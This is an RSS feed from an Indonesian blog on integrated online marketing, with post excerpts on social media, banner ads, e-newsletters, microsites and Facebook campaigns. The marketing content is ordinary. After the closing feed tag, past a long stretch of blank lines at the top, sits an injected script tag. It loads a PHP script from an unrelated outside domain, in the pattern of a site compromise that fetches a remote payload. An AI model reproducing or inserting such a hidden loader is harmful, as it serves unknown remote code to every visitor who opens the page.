















































































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Online Integrated Marketing Communication &#187; strategi</title>
	<atom:link href="http://e-imc.ocentrum.com/category/strategi/feed/" rel="self" type="application/rss+xml" />
	<link>http://e-imc.ocentrum.com</link>
	<description>Ocentrum&#039;s Blog</description>
	<lastBuildDate>Thu, 11 Feb 2010 05:08:59 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>3 Cara Menggunakan Media Sosial untuk Dekat dengan Pelanggan</title>
		<link>http://e-imc.ocentrum.com/2010/02/10/3-cara-menggunakan-media-sosial-untuk-dekat-dengan-pelanggan/</link>
		<comments>http://e-imc.ocentrum.com/2010/02/10/3-cara-menggunakan-media-sosial-untuk-dekat-dengan-pelanggan/#comments</comments>
		<pubDate>Thu, 11 Feb 2010 04:00:36 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[social networking]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[media sosial]]></category>
		<category><![CDATA[menjaring pelanggan]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=218</guid>
		<description><![CDATA[Media sosial online, seperti Facebook atau Twitter, sangatlah efisien jika digunakan untuk lebih dekat dengan pelanggan. Anda bisa berkomunikasi dua arah dengan mereka secara lebih personal, intensif dan hemat biaya. Pesan yang ditinggal pelanggan, dapat dijawab satu-satu, tanpa harus real time (tidak seperti telepon bebas pulsa, yang memang harus tersedia dan merespons langsung), dan dapat [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2010/02/10/3-cara-menggunakan-media-sosial-untuk-dekat-dengan-pelanggan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rich Media Banner (seri 10 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/08/10/rich-media-banner-seri-10-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/08/10/rich-media-banner-seri-10-dari-10/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 06:00:40 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[insight]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[banner ad]]></category>
		<category><![CDATA[rich media banner]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=202</guid>
		<description><![CDATA[Banner ad atau iklan banner adalah pendekatan yang paling diminati oleh para pemilik brand. Penyebabnya kurang lebih karena pemasangan banner adalah turunan dari iklan print/banner outdoor (non-online/non-digital). Sehingga bentuknya mudah dimengerti dan lebih mudah memperoleh justifikasi.
Rich Media Banner merupakan pengembangan dari iklan banner yang cenderung statik. Berbeda dengan banner biasa, rich media banner dapat disisipi [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/08/10/rich-media-banner-seri-10-dari-10/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>E-Newsletter yang Intrusif (Seri 8 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/05/12/e-newsletter-yang-intrusif-seri-8-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/05/12/e-newsletter-yang-intrusif-seri-8-dari-10/#comments</comments>
		<pubDate>Tue, 12 May 2009 09:50:25 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[e-newsletter]]></category>
		<category><![CDATA[taktik marketing]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=181</guid>
		<description><![CDATA[Pengantar: Setelah hampir satu bulan blog ini mengalami mode hiatus, kini kami kembali dengan lanjutan seri artikel strategi marketing online yang pintar.
E-Newsletter adalah salah satu alat marketing online yang paling intrusif. Jika website hanya tampil jika user membukanya, maka email akan langsung masuk ke inbox meskipun pada awalnya orang yang bersangkutan tidak menginginkannya. Bayangkan jika [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/05/12/e-newsletter-yang-intrusif-seri-8-dari-10/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MicroSite &#8211; menghadirkan experience (seri 7 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/03/31/microsite-menghadirkan-experience-seri-7-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/03/31/microsite-menghadirkan-experience-seri-7-dari-10/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 11:59:56 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[insight]]></category>
		<category><![CDATA[online marketing]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=163</guid>
		<description><![CDATA[Banyak brand di Indonesia yang menggunakan microsite digabungkan dengan viral marketing(pesan berantai) sebagai media untuk kampanye online. Microsite adalah semacam website mini, yang hanya berisi beberapa halaman. Biasanya dibuat penuh dengan flash/animasi, banner promo dan antarmuka yang menyolok. Lebih lengkap lagi jika disertai permainan atau kuis berhadiah. Rata-rata microsite dibuat untuk kampanye dalam jangka waktu [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/03/31/microsite-menghadirkan-experience-seri-7-dari-10/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Pamer Foto di Flickr (seri 6 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/03/27/pamer-foto-di-flickr-seri-6-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/03/27/pamer-foto-di-flickr-seri-6-dari-10/#comments</comments>
		<pubDate>Fri, 27 Mar 2009 12:18:13 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[insight]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[flickr]]></category>
		<category><![CDATA[IMC strategy]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=155</guid>
		<description><![CDATA[Jika video sudah dimanfaatkan BlendTec untuk promosi blendernya, maka Flickr juga bisa dimanfaatkan sebagai media marketing. Buat yang belum tahu, Flickr adalah satu situs yang dimiliki oleh Yahoo untuk berbagi foto. Anda dapat menggunakan layanan Flickr secara gratis, cukup mendaftarkan account yahoo. Meskipun demikian, ada pilihan untuk pro, yang mengangkat batasan jika ingin mengupload foto [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/03/27/pamer-foto-di-flickr-seri-6-dari-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blog untuk Edukasi Pelanggan (seri 4 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/03/20/blog-untuk-edukasi-pelanggan-4-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/03/20/blog-untuk-edukasi-pelanggan-4-dari-10/#comments</comments>
		<pubDate>Fri, 20 Mar 2009 08:32:24 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[insight]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[blog marketing]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=131</guid>
		<description><![CDATA[Jika ingin menggeluti fotografi, tapi bingung bagaimana harus mulai, apa yang akan Anda lakukan? Coba tanya ke Google. Dan ternyata, referensi jawaban kebanyakan datang dari blog. Isinya pun beragam dari yang sudah ahli, maupun yang pemula. Apa yang mereka sampaikan adalah informasi jujur, bukan iklan, berdasarkan pengalaman. Dengan membaca referensi mereka, Anda dapat putuskan untuk [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/03/20/blog-untuk-edukasi-pelanggan-4-dari-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Komunitas Online untuk Hobi (Seri 3 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/03/17/komunitas-online-untuk-hobi-seri-3-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/03/17/komunitas-online-untuk-hobi-seri-3-dari-10/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 05:43:23 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[IMC strategy]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=119</guid>
		<description><![CDATA[Jika Anda memiliki produk-produk yang berkaitan dengan hobi (atau profesi tertentu), maka Anda bisa membangun sebuah komunitas bersama. Beberapa contoh produk seperti ini adalah produk otomotif, gadget, rokok dan kamera. Atau produk layanan yang bersifat premium (orang yang menggunakan suatu produk bukan hanya karena fungsinya, tapi untuk gaya hidup). Pengguna produk-produk tersebut memiliki value yang [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/03/17/komunitas-online-untuk-hobi-seri-3-dari-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Loncat ke Facebook (seri 2 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/03/16/loncat-ke-facebook-seri-2-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/03/16/loncat-ke-facebook-seri-2-dari-10/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 13:28:46 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[insight]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[Facebook Indonesia]]></category>
		<category><![CDATA[Internet brands]]></category>
		<category><![CDATA[online marketing]]></category>
		<category><![CDATA[taktik marketing]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=116</guid>
		<description><![CDATA[Jika Blendtec memanfaatkan youtube untuk marketing onlinenya, maka BurgerKing menggunakan aplikasi viral di facebook. Idenya sederhana. Anda cukup menghapus 10 teman Anda di facebook, dan Burgerking akan memberikan gratis Whopper Sandwich. Program Whopper Sacrifice ini begitu menariknya, hingga facebook memutuskan untuk menonaktifkan aplikasi ini karena masalah privacy. Jahatnya, setiap teman yang diputuskan akan diberitahu bahwa [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/03/16/loncat-ke-facebook-seri-2-dari-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pendekatan Kreatif untuk Marketing Online (Seri 1 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/03/13/pendekatan-kreatif-untuk-online-seri-1-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/03/13/pendekatan-kreatif-untuk-online-seri-1-dari-10/#comments</comments>
		<pubDate>Fri, 13 Mar 2009 06:16:33 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[insight]]></category>
		<category><![CDATA[strategi]]></category>
		<category><![CDATA[marketing online yang murah]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=112</guid>
		<description><![CDATA[Jika sebuah merek atau sebuah perusahaan ingin online, pasti yang terpikirkan pertama kali adalah website dan email. Itu adalah alat standar yang digunakan. Dengan website yang berisi informasi standar perusahaan, dan email untuk berkomunikasi, mungkin cukup untuk 5 tahun yang lalu. Tapi sekarang ini, di saat pertumbuhan website dan pertumbuhan pengguna Internet berkembang pesat, perlu [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/03/13/pendekatan-kreatif-untuk-online-seri-1-dari-10/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Top Taktik Marketing Digital 2009</title>
		<link>http://e-imc.ocentrum.com/2009/03/03/top-taktik-marketing-digital-2009/</link>
		<comments>http://e-imc.ocentrum.com/2009/03/03/top-taktik-marketing-digital-2009/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 04:05:56 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[strategi]]></category>
		<category><![CDATA[taktik marketing]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=79</guid>
		<description><![CDATA[Berdasarkan polling yang dilakukan oleh TopRank online marketing, berikut adalah daftar tools yang digunakan untuk marketing online.

Blogging (34%, 183 Votes)
Microblogging (Twitter) (29%, 155 Votes)
Search engine optimization (28%, 151 Votes)
Social network participation (Facebook, LinkedIn) (26%, 137 Votes)
Email marketing (17%, 90 Votes)
Social media monitoring &#38; outreach (17%, 88 Votes)
Pay per click (14%, 73 Votes)
Blogger relations (12%, 64 [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/03/03/top-taktik-marketing-digital-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>